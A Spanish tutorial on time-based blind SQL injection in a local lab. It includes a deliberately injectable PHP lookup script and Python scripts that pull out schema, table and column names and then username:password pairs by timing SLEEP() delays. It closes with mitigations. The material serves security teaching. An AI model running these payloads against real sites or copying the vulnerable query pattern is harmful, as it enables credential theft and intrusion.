En este quinto artículo de la serie de Inyecciones SQL, toca hablar de las inyecciones SQL basdas en tiempo.
Las inyecciones SQL basadas en tiempo, también conocidas como Time-Based Blind SQL Injection, son una técnica de ataque que se utiliza cuando el atacante encuentra una vulnerabilidad de inyección SQL en una aplicación web y la aplicación no devuelve mensajes de error visibles. En lugar de obtener respuestas inmediatas de la aplicación, el atacante aprovecha los retrasos en las respuestas para extraer información de la base de datos.
Para demostrar esta inyección SQL, utilizaremos el script search_user_by_id.php el cual toma el parámetro id por GET y realiza una búsqueda del usuario con el id correspondiente.
Creamos el script en la carpeta app de nuestro laboratorio.
vim search_user_by_id.php
<?php
function print_query($query) {
echo "<div style='background-color: #000; color: #fff; padding: 1rem;'>
<h2>Consulta SQL</h2>
<code><pre>$query</pre></code>
</div>";
}
$server = "127.0.0.1";
$username = getenv('MYSQL_USER');
$password = getenv('MYSQL_PASSWORD');
$database = getenv('MYSQL_DATABASE');
$conn = new mysqli($server, $username, $password, $database);
if ($conn->connect_error) die('Error al conectarse a la base de datos: ' . $conn->connect_error);
$id = isset($_GET['id']) && !empty($_GET['id']) ? $_GET['id'] : 1;
$query = "SELECT name FROM users WHERE id=$id";
print_query($query);
$res = mysqli_query($conn, $query);
if (mysqli_num_rows($res)) {
$row = mysqli_fetch_assoc($res);
echo "Name: " . $row['name'];
}
mysqli_close($conn);
Aquí, la consulta fuerza a la base de datos a esperar 2 segundos antes de continuar (por lo general es más de dos segundos), lo que permite detectar la vulnerabilidad observando los tiempos de respuesta.
Podemos visualizar mejor esto, usando los comandos time y curl para realizar la petición.
Obtener las bases de datos
Para obtener las bases de datos utilizaremos la siguiente petición:
SELECT name FROM users WHERE id=1 AND (SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),1,1) FROM information_schema.schemata))=105,SLEEP(2),0))-- -
Expliquemos paso a paso cada una de las partes que componen la consulta para entenderlo mejor.
En primer lugar, tenemos nuestra consulta prinicipal, la cual consulta a la tabla users para obtener el valor del campo name donde el id sea igual a 1.
SELECT name FROM users WHERE id=1
Luego viene la subconsulta.
(SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),1,1) FROM information_schema.schemata))=105,SLEEP(2),0))
Esta subconsulta se inyecta dentro de la consulta original. Vamos a desglosarla:
SELECT SUBSTRING(GROUP_CONCAT(schema_name),1,1) FROM information_schema.schemata:
information_schema.schemata: Es una tabla que contiene los nombres de todos los esquemas (bases de datos) en el servidor MySQL.
GROUP_CONCAT(schema_name): Esta función concatena todos los nombres de esquemas en una sola cadena.
SUBSTRING(...,1,1): Extrae el primer carácter del resultado concatenado.
Este fragmento de código obtiene el primer carácter del primer nombre de esquema en el servidor.
En este caso, la primera base de datos es information_schema por ende, el primer caracter de esta corresponde a la letra i.
ASCII(...):
La función ASCII() devuelve el valor ASCII del primer carácter del primer esquema que se obtuvo en la subconsulta anterior. El valor de ASCII() para caracteres como 'a', 'b', 'c', etc., puede usarse para realizar comparaciones.
En este caso, la letra i le corresponde el valor ascii 105.
IF(ASCII(...) = 105, SLEEP(2), 0):
Si el valor ASCII del primer carácter del primer nombre de esquema es igual a 105 (que corresponde al carácter 'i' en el sistema ASCII), entonces ejecutará SLEEP(2), lo que provoca que la base de datos se detenga durante 2 segundos.
Si el valor no es 105, no hace nada (devuelve 0).
Ahora que tenemos claro como funciona la inyección SQL y como podemos explotarla, podemos automatizar este proceso montando un script en Python el cual obtenga todas las bases de datos.
#!/usr/bin/python3
import requests
import signal
import sys
import time
from pwn import *
main_url = "http://localhost/search_user_by_id.php"
def makeSQLi():
p1 = log.progress("SQL Injection")
p1.status("Obteniendo las bases de datos")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
for position in range(1, 150):
for character in range(33, 127):
sqli_url = main_url + "?id=1 AND (SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(schema_name),%d,1) FROM information_schema.schemata))=%d,SLEEP(1),0))-- -" % (position, character)
p1.status(sqli_url)
res = requests.get(sqli_url)
if res.elapsed.total_seconds() > 1:
extracted_info += chr(character)
p2.status(extracted_info)
break
if __name__ == '__main__':
makeSQLi()
Ejecutamos el script:
Genial, logramos obtener las bases de datos.
Obtener las tablas
El proceso es similar al anterior, solo que utilizaremos la tabla information_schema.tables.
#!/usr/bin/python3
import requests
import signal
import sys
import time
from pwn import *
main_url = "http://localhost/search_user_by_id.php"
def makeSQLi():
p1 = log.progress("SQL Injection")
p1.status("Obteniendo las tablas de la base de datos app_db")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
for position in range(1, 150):
for character in range(33, 127):
sqli_url = main_url + "?id=1 AND (SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(table_name),%d,1) FROM information_schema.tables WHERE table_schema='app_db'))=%d,SLEEP(1),0))-- -" % (position, character)
p1.status(chr(character))
res = requests.get(sqli_url)
if res.elapsed.total_seconds() > 1:
extracted_info += chr(character)
p2.status(extracted_info)
break
if __name__ == '__main__':
makeSQLi()
Ejecutamos el script:
Obtener las columnas
#!/usr/bin/python3
import requests
import signal
import sys
import time
from pwn import *
main_url = "http://localhost/search_user_by_id.php"
def makeSQLi():
p1 = log.progress("SQL Injection")
p1.status("Obteniendo las columns de la tabla app_db.users")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
for position in range(1, 150):
for character in range(33, 127):
sqli_url = main_url + "?id=1 AND (SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(column_name),%d,1) FROM information_schema.columns WHERE table_schema='app_db' AND table_name='users'))=%d,SLEEP(1),0))-- -" % (position, character)
p1.status(chr(character))
res = requests.get(sqli_url)
if res.elapsed.total_seconds() > 1:
extracted_info += chr(character)
p2.status(extracted_info)
break
if __name__ == '__main__':
makeSQLi()
Ejecutamos el script:
Obtener los datos
#!/usr/bin/python3
import requests
import signal
import sys
import time
from pwn import *
main_url = "http://localhost/search_user_by_id.php"
def makeSQLi():
p1 = log.progress("SQL Injection")
p1.status("Obteniendo los usuarios de la tabla app_db.users")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
for position in range(1, 150):
for character in range(33, 127):
sqli_url = main_url + "?id=1 AND (SELECT IF(ASCII((SELECT SUBSTRING(GROUP_CONCAT(username,0x3a,password),%d,1) FROM app_db.users))=%d,SLEEP(1),0))-- -" % (position, character)
p1.status(chr(character))
res = requests.get(sqli_url)
if res.elapsed.total_seconds() > 1:
extracted_info += chr(character)
p2.status(extracted_info)
break
if __name__ == '__main__':
makeSQLi()
De esta manera, logramos obtener los usuarios.
Así concluimos este artículo.
Conlusiones finales
A lo largo de este artículo, hemos demostrado cómo las inyecciones SQL basadas en tiempo constituyen un ataque que explota las variaciones en los tiempos de respuesta de una base de datos para extraer información de forma indirecta. Utilizando funciones como SLEEP(), un atacante puede inducir retrasos en las respuestas del servidor, lo que le permite inferir detalles sobre la estructura de la base de datos, como los nombres de esquemas, tablas y otros elementos sensibles, sin necesidad de obtener datos visibles explícitamente.
Para mitigar este tipo de ataques, es fundamental:
Sanitizar y validar entradas: Usar consultas parametrizadas.
Principio de menor privilegio: Limitar permisos de acceso.
Firewalls de aplicaciones web (WAF): Detectar y bloquear inyecciones.
Monitoreo: Detectar comportamientos inusuales, como retrasos en las respuestas.